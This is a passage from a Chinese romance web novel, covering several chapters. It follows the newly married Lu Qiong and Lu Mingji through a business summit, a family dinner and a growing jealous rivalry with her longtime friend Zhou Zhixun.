路琼和陆明霁早上起床,吃完早饭就分头去上班。 九点半,路琼开车带着朱新源前往会场。 尚嘉一共收到两份邀请函,朱新源是来找线索找素材,路琼则是顶替葛晚棠出席。 就很巧,没有商量过,路琼和陆明霁同一时间到达会场。 夫妻二人在会场入口狭路相逢。 路琼让朱新源先进去,她走向陆明霁。 钟洋也极有眼色,跟路琼打完招呼后溜进场,给他们腾空间。 会场门口人来人往,路琼控制着自己的步伐,没有去抵他鞋尖,在他一步外站定:“你怎么没告诉我你也会来?” 她前两天就告诉过陆明霁她今天外出的行程,这人什么都没透露。 陆明霁嫌她蠢:“你懂不懂什么叫惊喜。” 情话一套又一套,浪漫细胞却少得可怜。 “那你知不知道,你的偶遇是我精心制造出来的?”路琼把挎包交给他,她今天背的是一只黑色Caro,抬起手整理一下陆明霁并不褶皱的西装衣领:“我知道你会来参加所以才答应的葛晚棠替她出席,你没来之前我在停车场等你半天了。” “……” 陆明霁有那么几秒钟被她糊弄住,很快又清醒:“你少来,我车跟在你后面进来的。” 这个女骗子,瞎话张嘴就编,好在他有脑子。 漂亮谎言被拆穿,路琼一滞:“哦。” 她不慌不忙找补回来:“但我是真知道你会来啊,而且不期而遇不是更浪漫吗。” 画着淡色眼妆的眼睛眨巴两下,眼尾那一段眼线活灵活现。 陆明霁不会承认自己有被她撩到:“你干什么记者,你应该去火葬场念经。” 死人都能被她一张巧嘴念活,造福世界、造福社会。 说罢,他往会场里走。 路琼跟着他,持续发力:“可我只想念给你听。” 陆明霁觉得她好烦,心跳都被她吵快:“闭嘴。” 陆明霁作为峰会受邀人,邀请函是单独发送至个人,上午场他还要登台演讲,座位在第一排,尚嘉那份邀请函座位被安排在记者席位,葛晚棠也是被单独邀请,但她那份邀请函是葛爸授意主办方发送给她,她又不正儿八经混这个圈子,座位相对靠后。 进会场后两人就要分别行动,路琼捏两下陆明霁的掌心,勾完他就离开。 陆明霁掌心触感犹存,他乜着路琼潇洒的背影,决定将她追求自己的战线拉长一些。 她最近太嚣张! 葛爸最近联系不上葛晚棠,就盼着这场峰会能见女儿一面,他早早到达会场,守在葛晚棠座位旁边,结果女儿没来,女儿朋友来的。 路琼笑着同葛爸问好:“叔叔。” 葛爸虎着脸:“葛晚棠呢?” 路琼打掩护:“最近杂志社有点忙,她昨晚熬了个通宵。” 葛爸一个字都不信,但也不好再说什么,重重一哼,起身去前排。 路琼实时给葛晚棠通风报信,将葛爸黑脸的情况如实转达。 退出微信前,灵光一闪,打开邀请函拍张照片发朋友圈。 配文:不期而遇。 …… 陆明霁中午有主办方请客吃饭,没能跟路琼一起,路琼便和朱新源在附近找家馆子解决午饭。 吃完就回会场等着参加下午场。 往上午那座位走没两步,后方有人叫她,是周之浔。 两天两次偶遇,这巧合概率蛮高。 两次巧合还都挺令路琼意外。 周之浔业务都在国外,国内的论坛峰会对他来说意义并不大。 周之浔故作不悦路琼的质疑:“你这就狭隘了,我这叫学无止境。” 路琼眉梢轻挑:“那我上午怎么没见你。” 周之浔半真半假地回:“这不是上午刷到你朋友圈见你在,我才托人找了份邀请函过来看看。” 路琼擅长察言观色,对周围人的情感感知敏锐,可周之浔毕竟比她大七岁,那七年的阅历不是纸上谈兵,他要想掩盖绰绰有余,而今他把握着尺度泄露几分真情来试探。 有些人际关系维持时间一久,有些观念、感情也就根深蒂固,路琼单纯把周之浔当成朋友多年,他的几分真情她只当做玩笑。 从容回应:“那我还真是荣幸。” 周之浔捏着邀请函一角点她额头:“知道就好。” 他没再深入。 后腰处一股阻力传来,路琼眼角一晃,陆明霁神出鬼没地闪现在她身边。 周之浔朝陆明霁伸手:“又见面了。” 陆明霁真心觉得周之浔搞笑。 千年狐狸一只在这装什么白莲花。 但伸手不打笑脸人,周之浔这么落落大方,他要是置之不理显得他很没格局。 少爷暗自腹诽,勉为其难回握一下:“真巧。” 继而看向路琼净化眼睛,手掌从她腰后转移到腰侧搂住:“打你电话怎么不接。” “我静音了。”路琼在包里掏出手机,三个陆明霁的未接来电:“怎么了吗?” 没什么事,陆明霁就是跟主办方吃完午饭回来没看到路琼,打个电话找一下。 但现在有碍眼的闲杂人士在,他临时胡编乱造:“奶奶叫我们晚上回去吃饭。” 还得记着一会儿去联系奶奶圆谎。 路琼错愕愣住:“你跟奶奶说了?” 陆明霁嗯声:“前两天就说了。” 路琼第一次真正生陆明霁的气:“那你怎么不早告诉我!” 她以为陆明霁还没跟家里讲,所以到现在都没去拜访徐奶奶。 结果这人早就捅给家里,把她蒙在鼓里! “我电话跟奶奶说的,她跟爷爷前两天出去玩了,今天才回来。” 陆明霁是想着跟路琼感情稳定点再带她回家,但这半途杀出来的周咬金太烦人,他必须得采取点行动捍卫一下他的权益。 四点钟的峰会结束,到时候车给朱新源开回杂志社,再跟陆明霁去买些礼品。 路琼在心里盘算一下,时间应该够用。 还是很生气,没顾上周之浔还在,她瞪陆明霁一眼。 陆明霁自知理亏,缄默不语。 那边朱新源扬声在喊路主编,路琼拍开陆明霁的手,去找朱新源。 联接两个男人的桥梁不在,陆明霁跟这种道貌岸然的人更没什么可聊的,又觉得有必要警告一下周之浔。 陆明霁自持身份,端着良好风范,言语一如既往难听:“周总,惦记有夫之妇多少有点不要脸了。” “结婚了也还可以离婚。”周之浔笑:“我不介意。” 第50章 暗潮涌动 真是林子大了什么鸟都有,活得久了什么厚脸皮的人都能见到。 这种恬不知耻的人,陆明霁多说一个字都是浪费他金贵的嘴巴,懒得再讲什么礼貌,扭头就回自己座位。 周之浔人际关系挺硬,临时找人拿到的一张邀请函,都能令主办方在第一排现安插座位。 好死不死,那把椅子就插在陆明霁旁边。 主办方还一无所知地介绍二人认识。 周之浔挂着那张如沐春风的老牌笑脸:“我和陆总早就认识。” 主办方先是诧异,后又了悟,虽然周家早就移民国外,但陆家和周之浔外公赵家都是沪市有头有脸的人家,权贵圈子说小不小说大也不大,都待在一个圈子里,他们二人相识也不算稀奇。 主办方自我调侃:“那倒是我多此一举了。” 陆明霁在不给周之浔脸落他面子和来一场成年人敷衍的逢场作戏这两个做法间稍作犹豫,将二者结合:“认识谈不上,周总是我老婆朋友。” “陆总结婚了?”主办方这回是真大吃一惊:“怎么一点消息都没听说。” 陆明霁颔首:“刚领证不久。” 他小范围公开一下:“她今天也在现场,结束后我带她过来。” 刚领完证时陆明霁没想过要昭告天下,谁让路琼只说是为奶奶放心,那他只告诉家里人就好,结果后来她说要追他。 主办方忙问是哪一个,他找人把座位提到前面来,还挺嗔怪陆明霁不事先知会。 上午峰会还未正式开始,陆明霁就问过路琼要不要来前排找他,路琼磕巴都不打一下地拒绝他,说她是替葛晚棠来参加,邀请函是葛叔叔专程给葛晚棠要的,她占着人名额还那么高调不太像话。 陆明霁都忘记这个小插曲,主办方勾起他回忆,他那点小情绪也复活,打算晚上回家跟路琼小闹一场,随后又想起他也办错事惹了路琼生气,便又取消这个计划。 他左边已经定好是周之浔,路琼过来只会坐他右边,他是离路琼近了,周之浔也同样。 陆明霁自私小气,不想给情敌创造福利,婉拒主办方:“不用了,她有自己的事要忙。” 主办方听后没再坚持,只叮嘱陆明霁峰会完事后一定要带人过来认识一下。 主办方走后,第一排正对舞台这一处地方就剩下陆明霁和周之浔。 十几分钟前两人那番对话就是将某些掩埋在心底的事情摆到台面上。 主办方一不在,两个男人周身气场相互碰撞,暗潮涌动。 周之浔看见陆明霁空荡的左手无名指,缓缓转动自己戴在小指的尾戒:“陆总这个婚结的还真是草率。” 陆明霁秒懂他的意有所指,平心静气地翻着峰会宣传资料:“再草率周总不也没结上吗。” 周之浔双手交握:“现在没结上不代表以后也不会。” 陆明霁轻嗤:“那我就拭目以待了。” 下午整个半场的峰会,陆明霁余光里都塞满周之浔的身影。 还有他动不动就转戒指的动作。 要不是侧身坐太突兀太招笑,陆明霁真是一秒钟都不想被周之浔污染眼睛。 忍到峰会结束,终止这场委屈自己的破峰会,陆明霁去找路琼,向主办方引荐。 他特意挑远离座位的地方,居然还是被周之浔寻到。 陆明霁对外做实路琼老公的身份,周之浔就做实路琼好友的身份。 两个男人暗地里较劲,获利的是路琼。 主办方见路琼背后人脉资源这么顶,得知尚嘉下一期刊还缺个人物专访,当即跟路琼交换联系方式,推给她一个人选。 路琼和陆明霁还要去奶奶家,没多耽搁,道别前周之浔向她发出私人邀请,说他表妹赵茉昨天旅游完回国知道她在沪市,约她出去玩。 周之浔跟表妹赵茉挺亲近,赵茉每次出去玩基本都会绕到纽约找周之浔赞助她的小金库,还参加过几次他们五人的聚会。 路琼说好:“到时候叫上葛晚棠。” 周之浔无有不应:“你们定,我只负责当司机。” 他特指:“就像在纽约时一样。” 陆明霁就揽着路琼无所谓地听着。 他清楚周之浔是在存心刺激他,那又怎样,他放在路琼腰间的手能秒杀所有“污言秽语”。 路琼午饭时就将车钥匙交给朱新源,散场后她就跟陆明霁去奶奶家。 路琼还是有点忧心:“买完东西肯定会碰上晚高峰了。” 陆明霁已经准备好:“该买的都买好了,直接去。” 路琼狐疑:“什么时候买的。” 走到车边,陆明霁给她拉开车门:“下午让司机去买的。” 路琼心踏实下来,矮身坐进车里,陆明霁抬手护在车顶以免她碰到头,路琼坐好他关上车门绕到另一边上车。 路琼和奶奶爷爷早就打过交道,如今身份转变只有些微紧张,她最在意的是:“你妈妈会在吗?” 陆明霁下午给奶奶打电话串词时就嘱咐过他今天带路琼回家不要告诉他爸妈,傅女士没想通之前,陆明霁不会领路琼上门去受奚落。 “她出差了,在的话你也不用管她,我的事我自己说了算。” 他们当年分手因素诸多,傅文熙不是导火索但她是引燃器。 路琼没有怨过傅文熙,相反在某种程度上她还挺感激傅文熙。 不仅给她提供分手的契机还资助她一大笔学费,虽然她已经还清,但如果没有那笔钱,她刚出国那段时间不会有那么好居住环境。 她左手被陆明霁捏着玩,右手也伸过去覆住他手背:“你和你妈妈还好吗?” 重逢以来,这是他们第一次谈及与分手有关的人和事。 陆明霁找他妈闹过,路琼知道。 “没什么不好的,母子没有隔夜仇。”陆明霁不愿路琼多虑,归根结底这是他们母子之间的问题,路琼不应该被牵扯进来,他转移话题:“你和周之浔怎么认识的?” 他话题切太快,路琼稍顿,配合着聊下去:“他是Brody的邻居,他们两个关系很好,我和Brody第一次见面Brody拉着他一起来的。” “怪不得。” “怎么了?” 陆明霁嫌恶的直白:“就说他那么老,你怎么会跟他玩到一起。” 三十五岁的老牛也好意思妄图吃路琼这根嫩草。 “你不喜欢他?”路琼不解:“为什么?” 他们才见过三次,三次她都在场,没有闹什么矛盾,难道有她不知晓的隐情? “讨厌一个人需要理由吗?”陆明霁揉着她无名指:“你没有第一眼就讨厌的人?” 陆明霁今天对她的无名指格外情有独钟,十指连心,搓磨的她心痒,但路琼没制止他,就随他玩:“第一眼讨厌的人没有。” 她朝陆明霁挪进,指向性强烈:“但我有第一眼就喜欢的人。” 陆明霁掀起眼眸,飞快觑她一眼,转望窗外:“听不懂你在说什么。” 路琼最喜欢他装,然后她就可以撕掉他的假面,看到他蜷缩害羞的一面:“第一眼就喜欢你呀。” 司机没忍住,呛得咳嗽一声。 陆明霁耳朵泛起熟悉的热度,他眼睛移向驾驶位。 在后视镜与司机窥探的视线就那么撞到一处。 司机正襟危坐:“我什么都没听见。” 司机是之前爷爷的专属司机,前两年退休后在家闲得无聊,就又过来给陆明霁开车,陆明霁一般都自己开车,他就偶尔跑跑腿。 他给爷爷开车时,还被奶奶拉着讨论过陆明霁那狗都嫌的臭脾气找不到女朋友可怎么好,不知道什么样的人能制服他。 现在看来,吃死他的人已经出现。 司机是爷爷那边的老人,陆明霁很是尊敬,只得将恼怒发泄到口无遮拦的路琼身上。 攥着她无名指递到嘴边,咬出一个牙印。 …… 到奶奶家,除去不知是否真正出差的傅文熙和陆致涛,一家人整整齐齐。 左柯让和邬思黎也在。 爷爷奶奶本来就十分喜欢路琼,她能和自家孙子修成正果他们别提多高兴。 两位老人活大半辈子,遇事想得开,儿孙自有儿孙福,甭管两个小辈之前闹成什么样,现在还能重修旧好就是好事,他们就支持。 这场迟到的见家长,错在陆明霁,奶奶怕路琼有心理负担,解释说:“全怪陆明霁,这么大的事他就电话通知我,那时老头我们两个还在国外旅游,着急忙慌订回来的机票又赶上那边雷暴天气,昨天晚上才到家。” 左柯让欠嗖嗖地拆台:“您和外公什么时候出去玩了,我怎么不知道?” 陆明霁冷眼凝视他:“你算老几什么都要你知道,天天跟你那条狗玩一起我看你俩长得都有点像了。” 左柯让恳切发问:“不是,哥你舔嘴唇的时候真不会把自己毒死?” 陆明霁拌嘴就没输过:“你舔嘴唇的时候也没见你把自己蠢死。” 邬思黎是知情者,在桌下拧左柯让大腿,让他安分点。 左柯让收到老婆指令,听话的偃旗息鼓。 路琼用公筷夹起一块菠萝虾球放到陆明霁盘子里。 希望他吃点甜的,能中和一下浸过毒液的嘴巴。 陆明霁懂路琼的暗示,给面子的收嘴。 爷爷奶奶纵观全局,笑得心满意足。 没有什么比儿孙幸福更高兴的事情。 …… 吃完饭又陪爷爷奶奶聊聊天,回到家都十点多。 路琼和陆明霁至今还停留在亲亲抱抱阶段。 陆明霁总是点到即止,路琼知道他在吊着她,她也知道陆明霁对她还有那么一点点气,她也不急,等到陆明霁彻底消气的那天,就是她吃到陆明霁的那天。 路琼心里揣着事,没睡着,听着陆明霁愈发平稳的呼吸声,她小心翼翼从他怀里钻出去。 拿过床头柜上压在手机下面的那条用来缝补衣服的线。 陆明霁不会缝补衣服,他衣服要是破损只会扔掉买新的,家里都没有这玩意儿。 路琼大学后也没再缝补过衣服,这套她带到国外又带回来的一套针线是小老太太的遗物。 只是留着当个念想,没想到有一天会派上用场。 路琼睡在陆明霁右边,他左手搭在腹部,因为睡前她骚扰他摸他腹肌来着,他就地按住。 她趴在床上,亲一下陆明霁无名指尖,再将那一截细线圈绕上。 去爷爷奶奶家的途中,陆明霁就没松开过她的无名指,他咬的那一口,仅仅是泄愤的话咬食指、拇指才更顺嘴,他就独辟蹊径地咬无名指。 在饭桌上路琼被邬思黎无名指上的戒指晃到一下眼睛,她即刻想通。 路琼那么喜欢陆明霁,怎么会不知道他隐晦的小心思呢。 50-60 第51章 吃醋 Brody来沪市那天,路琼就说好挑一天她和陆明霁请客吃饭。 工作后大家很难统一好的时间,左等右等,都没等到一个合适的机会。 盼到周末,迟恒还要出差。 这顿饭便一再搁置。 倒是路琼先等来赵茉的逛街邀约。 路琼和葛晚棠一起共事,休息时间一样,于是三人就约好周末去逛街。 陆明霁当天也另有其事要忙,听路琼说是要去和赵茉逛街,脑子里先蹦出来的是周之浔的名字。 “他也去?” 路琼没细问:“可能吧。” 陆明霁抿起嘴角。 路琼在给他打领带,见状有被他可爱到,拽着领带压下他,在他唇上亲一下:“周之浔再过不久应该就要回纽约了,我就不会再见到他了。” “他没正事可干?”陆明霁贬低情敌:“三十多岁是挺老但不至于退休呢吧。” 路琼系好领带,手下滑环抱着他腰:“你为什么那么讨厌他,有过节?” 陆明霁没那么缺心眼帮情敌捅破窗户纸,路琼永远不知道周之浔的心意才好,她知道后周之浔在她心里就会留下区别于普通朋友的痕迹。 但是她不知道的话周之浔就总能打着朋友的幌子接近她。 陆明霁想不出万全之策,只能将对他的讨厌摆在脸上:“没有,就是不对眼缘。” 他再拉个人掩饰:“那个Brody我也不喜欢。” 路琼拖长音哦一声。 陆明霁低眸:“你又笑什么?” 路琼手指在他后背画着不规则图形:“我笑有人吃醋了。” 陆明霁否认:“我没有。” 路琼改成点他后背:“我没说是你呀。” 这个套路真是屡试不爽,陆明霁总会上钩。 见陆明霁嘴角抿得更直,路琼好好讲道理:“有异性朋友很正常啊,你跟谷蕴柠从小长到大的交情我也没有吃过醋呀。” 她再举例:“还有齐盛卿,我听说你们两家还有把你们两个凑一对的心思,你现在跟她来往我也没说什么。” 路琼非常非常喜欢陆明霁,她愿意为他妥协的事情有很多,但也会有自己的原则要坚持。 如果爱一个人,就要丧失交友权,和要好的朋友划清界限,只围着一个人转,那不是她所期望得到的爱情。 陆明霁在她的话里延伸出他在无理取闹的意思。 什么都不想再说,去拽路琼的手:“我走了。” 路琼不认为自己有错,没有正当理由只是吃醋的话,她不会承诺陆明霁以后与他们断交,而且她都有分寸,从未有过超出界限的行为,也不是和周之浔单独出门,正常交友无可指摘,没道理他能有异性朋友她就不能。 她也不愿陆明霁生着气走,没松手,抱得更紧:“你去隔壁市要晚上才回,一天不见我们不闹别扭好不好?” “我没闹。” 陆明霁心里憋屈,但他在克制,路琼一会儿就要去见那个讨人厌的老黄瓜,他在这个节骨眼跟她吵架得不偿失。 路琼自有她的检测方法。 踮起脚,去吻陆明霁。 陆明霁没有躲,弯腰抱起她,边跟她接吻边朝衣帽间东边的表柜那儿走,表柜高度正好,他把路琼放上去坐。 钢化玻璃冰凉透骨,路琼达到大腿中段的睡裙上纵,缎面材质薄如蝉翼,一触到玻璃,路琼条件反射往陆明霁怀里钻,攀紧他肩膀,含混不清地撒娇:“冷。” 陆明霁置若罔闻,控着她腰不许她动,直到路琼被他咬过一次舌尖,哄着他喊他一句宝宝,他才托起路琼转移到沙发。 她叉开腿坐在他大腿上,他一只手垫在她臀下,暖着她被冰到的地方。 …… 简单化完一个妆,路琼挑衣服的时候特意找高领衫穿。 陆明霁走前在她胸口吮了个草莓印出来,得挡一挡。 在纽约时,她们三个逛街周之浔就是专职司机,今天再次上岗。 赵茉昨晚就住在外公家,早上和周之浔一起出门,先去接葛晚棠,最后来接路琼。 因为陆明霁的讨厌,路琼今天分外关注周之浔。 看向他的眼神带着几不可察的探究。 周之浔多灵敏一人,路琼又是他喜欢的女人,她有丁点风吹草动他都能感受到。 又一次捕捉到她的目光,周之浔光明正大回视:“我脸上有什么东西吗,动不动就看我。” 路琼打哈哈:“没,就觉得你今天挺帅。” 陆明霁说只是不对眼缘,路琼就信他,不会傻到跑去问周之浔是否跟陆明霁有过矛盾。 亲疏远近她还是有谱的。 此刻他们正在一家西班牙餐厅吃午饭,路琼和葛晚棠坐一边,赵茉和周之浔坐一边。 路琼和周之行面对面。 周之浔一挑眉:“我以前很丑吗?” 赵茉就指望着表哥这个移动金库,忙拍马屁:“不丑不丑,哥你世界第一帅。” 周之浔一眼看穿赵茉的算盘:“你得了,你那张嘴没有可信度。” 赵茉寻求认可:“那你不信的话问棠棠和路琼。” 她一把勾住周之浔肩膀,问对面俩:“你们就说,还有比我哥更有魅力的男人吗?” 拿人手软吃人嘴短,午餐是周之浔掏钱,路琼和葛晚棠默契摇头附和赵茉。 周之浔起兴,追问路琼:“那我和陆明霁比呢。” 路琼不假思索:“那我肯定选我老公。” 周之浔一笑。 说话间,服务生端着托盘走进,呈上三杯冰激凌。 这家西班牙餐厅的一款冰激凌是热门菜品,周之浔不爱吃甜,三位女士一人一杯。 赵茉先咬一口冰激凌尖:“路琼你怎么说结婚就结婚了,也不带给我们看看。” 她听说过陆明霁,还没见过。 路琼拿起手机拍张冰激凌照片发给陆明霁,边打字边回赵茉:“等迟恒出差回来,凑个都有空的时候请你们吃饭。” 插在冰激凌球上的勺子没放稳,哐当一声掉到地上,路琼俯身去捡。 冰激凌就放在桌边,她起身时头发蹭过,发丝沾上一点,坐直后长发随之一动,又蹭到脸颊。 周之浔抽张纸巾,起身越过餐桌,去帮她擦:“多大人了,还跟小孩一样。” 纸巾堪堪碰到脸颊,路琼就上半身后仰,接过周之浔手里的纸巾:“谢谢学长,我自己来。” 周之浔就坐回去。 他表现的太过平常,赵茉和葛晚棠都没多琢磨。 周之浔就是哥哥,她们经常受他照顾。 可路琼却觉得怪异。 就算周之浔再照顾他们这群弟弟妹妹,也没必要隔着桌子给她擦脸吧。· 更何况她已经结婚。 一个荒唐念头划过。 路琼心惊。 * 终于凑好所有人的空闲时间,是在周三的晚上。 陆明霁选的地方,外滩的一家会所。 会所老板是易骏,他自己倒腾开的一家店,陆明霁彭靖驰几个发小都有入股。 正好碰到易骏和李牧来会所吃饭,大家就一起,人多也热闹。 都是朋友,没那么多讲究,就随便坐。 路琼和陆明霁是绝对挨在一处,陆明霁是左撇子,路琼就坐陆明霁左边,另一边是葛晚棠。 点完菜,葛晚唐旁边的周之浔提出换位置:“晚棠我能跟你换个座位吗,我这两天落枕脖子疼,这有点吹。” 葛晚棠自是同意。 人多,他们两个又是紧挨着调换,没多引起谁的重视。 但逃不开路琼的注目:“怎么换了?” 周之浔再解释一遍:“脖子疼,那有点吹。” 路琼没有再往下关心,点一下头,就去捉陆明霁搭在桌上的手。 捏着他的无名指从指尖到掌骨。 她去定制的戒指就快要拿到,送他戒指的那天她要陆明霁拿他自己来换。 周之浔扫见路琼牵着陆明霁的手,端起水杯喝一口水。 她没问他脖子为什么疼,或许是有所觉察。 桌上要么是自来熟,要么是在商场上混久,人情世故有一套,都很健谈,没冷过场。 今天的主角是路琼和陆明霁,大部分话题都围绕着他们两个。 酒上来后,赵茉率先提议:“结婚那么大的事都没立刻告诉我们,你们俩先罚一个吧。” 桌上唯二两个不知情人士目瞪口呆,易骏和李牧对视一眼,都在对方眼中看到同样的茫然,又齐齐去瞅陆明霁。 满脸“我操你们不就是和个好怎么他妈的就结婚了,难怪今天请客吃饭搞这么隆重”的震撼。 易骏坐在陆明霁右手边,一把攥住他去拿酒的手:“你亲口告诉我你俩怎么了?” 陆明霁淡淡一句:“领证了,怎么了?” 还他妈怎么了! 易骏真想去掐陆明霁脖子,但他打不过陆明霁,没那个胆子,只好一拍桌子:“你还当不当我们是兄弟,结婚这种事我们谁都不知道。” 陆明霁挣开易骏,谁要跟一个大男人拉拉扯扯手牵手:“彭靖驰谷蕴柠都知道。” 他推卸责任:“你们自己反思一下为什么别人都知道就你们两个不知道。” “……” 操? “这饭吃不下去了。”易骏拉着李牧就要走:“谁都知道就咱俩不知道,都排挤咱俩。” 李牧说叛变就叛变,没有一点兄弟精神:“要有你自己走我不走,走了就更被排挤了。” 易骏单枪匹马没有胜算,气愤指控:“你们两个是没信心走到最后怎么着,才想搞隐婚?” “不是。”陆明霁嘴巴淬毒:“我们只是不想婚礼上请你这种十谈九被甩的晦气人。” 易骏伤心欲绝:“陆明霁,还是不是好兄弟。” 陆明霁一派闲适:“不是。” 包厢里其他人乐不可支。 Brody说:“我那天睡醒看到路琼给我发消息说她要领证了,我第一反应还以为她被盗号呢。” 周之浔回忆:“是很突然,我记得有一年我们一起在我公寓里过年,路琼还说没有喜欢的人,更不会结婚。” 那个荒诞想法出现后,路琼就不太能直视周之浔,是错觉使然还是怎么,她听着周之浔这句话总有那么点别有用心的意味。 她掐断这场声讨,站起来举杯:“没想隐婚,只是没想好要怎么告诉大家,是我们两个的错,我们自罚三杯就翻篇?” “等等。”李牧喊停,跑去包厢门口的柜子抽屉里拿来两只扎啤杯:“一人罚这样三杯白的就翻篇。” 陆明霁真是给他们太多好脸,一眼斜过去:“你看着杯子适不适合戴你头上?” 李牧拍拍胸口:“诶呀好怕怕。” 嘻嘻笑笑地闹着,最后那三杯酒没真罚,在场的人都是那种喜欢厌恶朋友的欠登,骂归骂,说归说,大家都还是诚心诚意祝福他们二人。 会所及吃饭和娱乐一体,七楼一整层是露天酒吧,吃完饭众人就转战阵地。 出电梯时,陆明霁接到魏锦航打来的电话。 他让路琼他们先过去,他找个安静的地方接通。 是和海外一家物流运输公司的合作事宜。 三两句聊完,陆明霁给钟洋去电话,让他订最快一班飞美国亚特兰大的飞机。 电话一挂断,身旁一道能令他生理反胃的声音响起:“要出差?” “少管闲事长命百岁。” 陆明霁还是婉转表达,他真正想说的是:多管闲事死得快。 “听说陆总和路琼大学谈过三年。”周之浔站在窗边,点一根烟:“今年是我和路琼认识的第五年。” “所以呢,你想从时间上压倒我?” 这人怕是不会算数,再怎么算都是他和路琼认识时间长。 陆明霁转身擦着他就要进酒吧。 周之浔胸有成竹:“我是想说,我和路琼之间拥有的回忆要比你多。” 第52章 挑拨离间 果不其然,陆明霁停住脚步。 电梯走廊这边阒然沉静,远处酒吧里,驻唱歌手掐着一把烟嗓哼唱着一首粤语歌,悠悠传递过来不甚清晰,窗户半敞,外滩车水马龙,车子鸣笛呼啸而过的声音也只剩朦胧。 周之浔指间夹着一根烟,灰白烟雾飘出窗外,融入夜色:“五年里我们一起过了四个春节,还有每一年的中秋、圣诞。” 大大小小的节日他们都一起度过。 “路琼获得普利策新闻特稿奖的时候,是我给她庆祝的。” “她初入职场被上司骂,是我在安慰她。” 他一件件讲述着:“还有她生病,是我陪在她身边。” 最后一句反问:“你呢?” 陆明霁转过身,姿态挺拔,站在走廊顶灯的正下方,光束照亮他冷淡又漠然的一张脸:“你的这些回忆打动的只有你自己吧。” 他找出漏洞,嗤之以鼻:“以为凭这些回忆就能得到她,你真这么自信还会来找我挑拨离间?” “那你又凭什么?”周之浔掸掸烟灰,瞥一眼陆明霁紧握在腿侧的拳头:“你凭借的不也只是那三年回忆?” “你能保证现在的路琼是你喜欢的。” 他无疑是个优秀的谈判手,三言两语就直击要害:“但你能保证现在的你是她喜欢的吗。” 六年时间,即便是雕塑也会被风雪侵蚀出印记,人每一天都在接触新鲜事物,又怎么会止步不前,原封不动。 路琼喜欢六年前的陆明霁,她念念不忘的也是六年前的陆明霁,可他已经不再是六年前的他。 现在路琼能再一次回到他身边,他算是沾光以前的自己。 陆明霁吃饭时喝过几杯酒,他这几年酒量练出来,轻易不会醉,事关路琼,他有混沌两三秒,而后极速清醒过来:“我还是那句话,你要真有把握就不会像个阴沟里的老鼠一样来我这里挑拨。” “你们认识那五年,路琼但凡给你机会,她还会回来找我?” 攥紧的手倏然一松,他像是找到自己的主场:“不管怎么样,我至少还让她喜欢过,而你连她眼都没入过。” 他两个小时后就要飞去亚特兰大,没有多余时间留给这只虚伪阴暗只会背后搞小动作的臭老鼠,陆明霁终结这段没有意义的争辩。 他善良提点周之浔:“少抽点烟吧周总,多管闲事又不重视健康容易短寿。” 折身往酒吧那里走,快到入口,路琼迎面来接,问他怎么那么久。 视野尽头,是立在走廊另一端的周之浔。 路琼莫名一慌,不好的预感袭上心头:“你们聊什么了?” “没什么。”陆明霁避而不谈,简略将他要出差的事情知会给她:“钟洋一会儿来接我。” 路琼抓着他腰侧两边的西装外套:“我去送你。” 陆明霁说不用:“你玩你的。” 路琼也不:“我就要去。” 她扣住他的手,返回酒吧里拿包,跟一群朋友说一声,有易骏这个老板在,不用愁结账的事情,他自会把账单记在陆明霁头上。 让他们好好玩,她去机场送陆明霁。 在门口碰到回来的周之浔,周之浔叫路琼,路琼没停,就仓促丢下一句:“学长你们玩,我们有事先走了。” 周之浔就眼睁睁瞧着路琼和陆明霁相携离去,没有片刻停留。 时间紧迫,路琼心有不安但也没有去聊会促使冲突爆发的内容,去机场的途中就问问陆明霁要去多久、这么晚飞过去是不是出什么急事,还有要他注意安全别再生病之类的嘱托。 一晃眼就到机场,路琼像上次一样送陆明霁到安检口外,钟洋、魏锦航先过安检等陆明霁,不干扰他们夫妻道别。 路琼拉着他左手:“等你回来,我们好好谈谈。” 具体谈什么,路琼没说,彼此都心中有数。 陆明霁嗯声:“你回去吧。” 他们来是钟洋开车,车就停在机场过后会有人来取,他出酒吧后就喊来司机到机场等着送路琼回家,她喝过酒没办法再开车。 路琼索吻:“那你亲亲我。” 这是她能安心的一种方法。 陆明霁没动,神情有那么几分淡漠,从出会所就是这样。 路琼不怕陆明霁跟她闹,他再怎样刻薄她都觉得可爱,她唯独不能承受陆明霁平静对她。 他的平静只留给无足轻重的外人。 路琼主动去寻求安全感,她抱住陆明霁脖颈,将他腰背压弯些,亲他。 可她的活动范围只被允许在外面,再怎么吮吻陆明霁嘴唇他都岿然不动。 机场里多是送别,拥抱亲吻屡见不鲜,过往行人可能会因为一男一女过于出众的颜值多看两眼,除此之外没什么稀奇。 陆明霁右手拿着手机,握紧,手机坚硬边框卡进掌心,陷进虎口,他以疼痛来告诫自己不能放任路琼。 竭力在路琼的温柔里抽身出来,他扶着她腰往后推,嗓音略哑:“我该走了。” 路琼眷恋地勾着陆明霁一根手指晃晃:“我会想你的。” 过完安检,陆明霁给左柯让拨去电话。 找他要周之浔的剩余资料。 和路琼有关的那部分。 左柯让悠悠笑:“我没有啊,你说不要我就没查。” 陆明霁心情奇差无比,吵嘴都懒得:“快点。” 他知道左柯让做事都留一手,他才不信左柯让的屁话。 兄弟俩感情要好,左柯让隔着电话都能感知出他哥的郁闷,没再吊胃口:“微信发你。” 还是劝告一句:“没有不能见人的,嫂子跟他清清白白,你别钻牛角尖。” 退一万步讲,就算真有什么,那也是在他们两个分手后,谁都管不着谁,现在人回来,抓住现在和未来才是重中之重。 过去的就让它过去。 陆明霁啪一下挂断。 周之浔炫耀的那些过往,他要自己去了解。 * 大概是突发急事较为严重,陆明霁走后的前几天,路琼的消息他没怎么回,电话聊两句就挂。 路琼将精力都放在工作上,省得胡思乱想,不是察觉不到陆明霁的冷淡,但她不喜欢自寻烦恼,在陆明霁没回来之前她就当作无事发生。 恰好尚嘉下月初要举办成立五十周年纪念庆典,各部门都挺忙。 路琼每一天都会收到一大捧玫瑰花,每天颜色各不相同,前台第一次抱过来,见到的人都会发出感叹,到第三天他们就见怪不怪。 无论什么样的玫瑰,怎么被前台抱进去就会怎么被保洁抱出来。 第三天之后,前台不再送玫瑰。 主编命令过,再有玫瑰一律拒收,拒收不行就扔出去。 这么大阵仗,不止采编部,尚嘉全体都八卦起这件事。 贿赂方歆甜去打听,方歆甜睬都不睬他们。 这事就算当事人闭口不谈,也能猜出个大致。 一句话总结就是:主编碰到个难缠的追求者。 葛晚棠是尚嘉里唯一敢当面八卦路琼的人,但路琼没说是谁,葛晚棠就没再问。 认识路琼这些年,她的追求者不在少数,不是所有阿猫阿狗都配路琼记住的。 葛晚棠自发将这次的玫瑰花归结为又一个不靠谱的骚扰者。 